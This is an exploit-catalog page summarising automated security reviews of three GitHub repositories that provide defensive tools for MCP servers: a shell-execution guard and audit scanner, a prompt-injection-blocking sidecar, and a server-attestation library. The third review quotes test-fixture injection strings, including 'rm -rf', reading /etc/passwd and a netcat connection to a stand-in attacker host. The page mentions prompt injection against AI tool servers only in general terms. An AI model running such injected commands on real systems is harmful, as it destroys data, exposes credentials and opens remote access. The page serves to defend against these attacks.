studiomeyer-io
Source-scoped identity with 3 associated PoCs and 2 linked vulnerabilities.
Exploit catalog results
Showing 3 PoCs on this page
GitHubstudiomeyer-io/mcp-stdio-shellguard
Repository PoCStars: 0Created 2026-05-07ScannerCVE-2025-6925648 files
Analysis
Technical assessment
The repository is a defense-in-depth bundle for MCP stdio servers. It provides a library API for guarded shell execution and an AST-based audit CLI (`mcp-shellguard-audit`) that scans TypeScript/JavaScript sources for unsanitized `child_process` calls. The code does not exploit any vulnerability; it detects and reports anti-patterns.
Backdoor review
No backdoor observed in reviewed code
The reviewed text files constitute a defensive security library (payload withheld) that wraps child_process calls with allowlists, sandboxing, and replay detection, plus an audit scanner. All supplied source code is consistent with the library's stated purpose of mitigating command injection in MCP servers. No concealed executable behavior, credential theft, persistence mechanisms, or unrelated payloads were observed.
Classification basis and observed behavior
Classification basis
The primary artifact is a scanner. The audit CLI and library scan source code for command injection anti-patterns without exploiting them. The README describes it as a 'defensive-security counterpart' and 'scanner that closes the class'. No exploit code is present.
README.md:14-17src/audit/scanner.ts:1-6src/cli.ts:1-13Requirements
- The audit scanner requires TypeScript/JavaScript source files to scan.
src/audit/scanner.ts:51
Observed behavior
- The audit scanner parses source files into an AST and evaluates call expressions against 12 anti-pattern rules, emitting findings with severity levels.
src/audit/scanner.ts:166-219 - The CLI tool `mcp-shellguard-audit scan` accepts a path, scans it, and outputs a report in markdown, JSON, or SARIF format.
src/cli.ts:76-150 - The reference MCP server exposes tools like `audit_source` and `audit_report` that invoke the scanner and report formatter.
src/server.ts:343-358
Behaviors behind the backdoor verdict
Observables
- Defensive Library
- Payload withheldThe repository is a defense-in-depth bundle for MCP stdio servers, providing guardExec/guardSpawn wrappers and an audit CLI to detect unsanitized shell calls.
README.md:14-17 - Cve Reference
- Payload withheldThe associated CVE describes a command injection vulnerability in the Serverless Framework's MCP server. This repository appears to be a mitigation tool for the class of vulnerability described, not the vulnerable code itself.
README.md:16-17 - Audit Scanner
- Payload withheldThe audit scanner walks TypeScript/JavaScript ASTs to detect shell-injection anti-patterns, consistent with the library's defensive purpose.
src/audit/scanner.ts:1-6
What the analysis did not establish
- Only 8 of 48 files in the repository are included as text evidence. The remaining 40 files (including guard implementations, tests, and patterns) are omitted, so the analysis is based on a subset of the codebase.
- The evidence packet reports complete_artifact_coverage as false, indicating that not all files were inspected.
- 40 files (402,663 bytes) were omitted from the evidence and not inspected; their content is unknown.
- Binary files were flagged as metadata-only and not analyzed; no executable payloads were identified in the metadata.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubstudiomeyer-io/mcp-armor
Repository PoCStars: 1Created 2026-05-03ScannerUnlinked66 files
Analysis
Technical assessment
The repository contains the source code for mcp-armor, a Rust sidecar that wraps MCP servers to scan tool calls for prompt injection, validate signatures, and block known attack patterns. The provided files include the README, benchmark code, CLI entry point, and a test that verifies the scanner blocks simulated CVE payloads. The primary artifact is a defensive scanner, not an exploit.
Backdoor review
No backdoor observed in reviewed code
The reviewed evidence consists of documentation (README.md), a benchmark (benches/scanner.rs), the CLI entry point (src/main.rs), and a CVE simulation test (tests/cve_simulation.rs) for the mcp-armor project. All files describe or implement legitimate security-sidecar functionality: wrapping MCP servers, scanning payloads for prompt injection, verifying signatures, managing a keystore, and running control-plane tools. No concealed executable behavior, deceptive payloads, credential theft, persistence mechanisms, or unrelated remote access were observed. The code performs exactly the operations documented in the README.
Classification basis and observed behavior
Classification basis
The artifact is a defensive security tool that scans and blocks malicious payloads. The README describes it as a 'runtime defense sidecar' that 'scans tool calls for prompt injection'. The CLI code implements scan, verify, and wrap commands. The test file verifies that the scanner blocks simulated CVE payloads. No code is present that exploits a vulnerability; all functionality is for detection, prevention, or verification.
README.md:13src/main.rs:1-10tests/cve_simulation.rs:1-4Requirements
- The scanner is built and configured to wrap an MCP server.
README.md:69-70
Observed behavior
- Scans tool call payloads for prompt injection and other attack patterns using a multi-stage pipeline.
README.md:17 - Blocks tool calls that match known CVE patterns and records block decisions.
README.md:17 - Verifies Ed25519 signatures on tool manifests.
README.md:13 - Strips loader-class environment variables from spawned child processes.
README.md:13 - Detects tool-description and full-schema poisoning in tools/list responses.
README.md:13
Behaviors behind the backdoor verdict
Observables
- Functionality
- Payload withheldAll reviewed source files implement or test the documented security-sidecar features without deviation.
src/main.rs:1-10src/main.rs:208-250src/main.rs:320-348src/main.rs:252-319 - Test Coverage
- Payload withheldThe test iterates over a curated CVE feed and asserts that each simulate_payload is blocked, confirming the scanner operates as intended.
tests/cve_simulation.rs:8-41 - Benchmark
- Payload withheldThe benchmark file measures scan latency for payloads up to 100 kB, consistent with the documented performance budget.
benches/scanner.rs:1-61
What the analysis did not establish
- Only 4 of 66 files in the repository were provided as text evidence. The remaining 62 files (including core scanner logic, CVE feed, and proxy implementation) were not included.
- The evidence is source code only; no build artifacts, binaries, or runtime behavior were observed.
- 62 files in the repository were not included in the text evidence; their content is unknown.
- Binary policy is FLAGGED_METADATA_ONLY_NOT_ANALYZED, so any compiled artifacts or non-text files were not reviewed.
- Only four of 66 total files were provided as readable text; the remaining 62 text files were omitted.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.
GitHubstudiomeyer-io/mcp-server-attestation
Repository PoCStars: 0Created 2026-04-27WriteupCVE-2025-61591CVE-2025-6925645 files
Analysis
Technical assessment
The artifact is a repository containing a library, CLI, and demo server for MCP server attestation. The supplied text files are documentation (README.md, package.json) and test fixtures (CVE payloads). The README describes the project's purpose and security model, and the test fixtures list payloads associated with CVE-2025-61591 and CVE-2025-69256. No exploit or scanner code is present in the supplied evidence.
Backdoor review
No backdoor observed in reviewed code
The reviewed evidence consists of a README, a root package.json, and two CVE test fixture files from the mcp-server-attestation repository. The content describes a security library designed to mitigate command injection and supply-chain attacks in MCP servers. No backdoor, deceptive payload, or concealed harmful behavior is present in the supplied text. The fixture files contain known malicious payloads for regression testing, which is expected defensive behavior.
Classification basis and observed behavior
Classification basis
The supplied evidence consists of a README, a package.json, and two JSON test fixture files. The README is a project description and security model writeup. The test fixtures contain lists of payload strings for known CVEs but do not contain any code that exercises or checks for a vulnerability. No executable exploit or scanner code is present in the supplied files.
README.md:1-151packages/lib/tests/fixtures/cve-2025-61591-payloads.json:1-19packages/lib/tests/fixtures/cve-2025-69256-payloads.json:1-23Observed behavior
- The README describes the project as a 'Layer-2 supply-chain hardening for Model Context Protocol servers' providing 'Ed25519-signed tool manifests, runtime spawn-attestation, default-deny argument sanitizer'.
README.md:14 - The test fixture payload withheld lists command strings such as '/bin/bash', '/usr/bin/curl', and 'powershell.exe' as payloads for CVE-2025-61591.
packages/lib/tests/fixtures/cve-2025-61591-payloads.json:5-18 - The test fixture payload withheld lists command injection strings such as '; rm -rf /tmp/x', '&& cat /etc/passwd', and '| nc attacker.example 4444' as payloads for CVE-2025-69256.
packages/lib/tests/fixtures/cve-2025-69256-payloads.json:5-22
Behaviors behind the backdoor verdict
Observables
- Test Fixture
- Payload withheldContains a list of command strings associated with CVE-2025-61591, used as test inputs to verify the library's blocking behavior.
packages/lib/tests/fixtures/cve-2025-61591-payloads.json:1-19 - Test Fixture
- Payload withheldContains a list of command injection strings associated with CVE-2025-69256, used as test inputs to verify the library's blocking behavior.
packages/lib/tests/fixtures/cve-2025-69256-payloads.json:1-23
What the analysis did not establish
- Only 4 of 45 files in the repository were supplied as text. The actual library source code, CLI code, and demo server code are not included in the evidence.
- The evidence envelope reports 41 unclassified files totaling 236,342 bytes that were not analyzed.
- The test fixture files contain payload strings but no test runner or assertion code is provided, so the behavior of the library against these payloads cannot be confirmed from the evidence.
- Only 4 of 45 files in the repository were provided as readable text; 41 files were omitted, including all source code (e.g., TypeScript files in packages/lib, packages/cli, packages/demo-server). The actual implementation of the library, CLI, and demo server was not reviewed.
- Binary files were not analyzed (binary_policy: FLAGGED_METADATA_ONLY_NOT_ANALYZED).
- The review is limited to static text analysis; no dynamic or behavioral analysis was performed.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.